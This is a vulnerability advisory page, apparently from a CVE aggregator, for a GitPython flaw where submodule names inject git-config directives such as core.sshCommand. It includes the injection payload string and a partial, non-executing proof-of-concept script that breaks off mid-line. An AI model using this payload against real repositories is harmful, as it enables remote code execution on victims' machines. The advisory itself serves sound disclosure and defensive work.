🛡️ CVE-2026-69097 — gitpython

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-74 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

```python

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")

...

def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:

if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):

raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

```

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

```python

fp.write(("[%s]\n" % name).encode(defenc))

```

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

```

x"] [core] sshCommand=CMD #

```

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

  • Repo.create_submodule(name=<untrusted>, ...)Submodule.addgit/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
  • Repo.clone_from(<hostile url>) + repo.submodule_update(init=True)git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.

```python

#!/usr/bin/env python3

"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""

from importlib.metadata import version

import os, tempfile, subprocess

import git

print(f"# GitPython {version('GitPython')}") # version proof -- first line

MARKER = "MARKER_9f3a" # inert; never executed

tmp = tempfile.mkdtemp()

env = {**os.environ, "HOME": tmp,

"GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,

"GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "[email protected]",

"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "[email protected]"}

def run(*a, cwd=None):

return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network).

src = os.path.join(tmp, "src"); os.makedirs(src)

run("git", "init", "-q", src)

open(os.path.join(src, "f"), "w").write("x")

run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)

suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():

p = tempfile.mkdtemp(dir=tmp)

run("git", "init", "-q", p)

open(os.path.join(p, "r"), "w").write("x")

run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)

return p

def injected_sshcommand(parent):

r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),

"--get", "core.sshCommand")

return (r.returncode, r.stdout.strip())

benign = "docs"

evil = f'x"] [core] ss

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Affected software

CVE-2026-69097 is recorded against 2 packages.

  • gitpython (fixed in 3.1.53)
  • unknown

Timeline and source

Published on 24 July 2026 and last revised on 4 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE CWE-74
Public Exploit ✅ No
Source NVD
Published 2026-07-24
Updated 2026-08-12
Modified 2026-08-04
Fix URL N/A

Affected Packages

Software From version Fixed in
gitpython 3.1.53
unknown

Site Security Check

Is gitpython part of your stack?

CVE-2026-69097 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.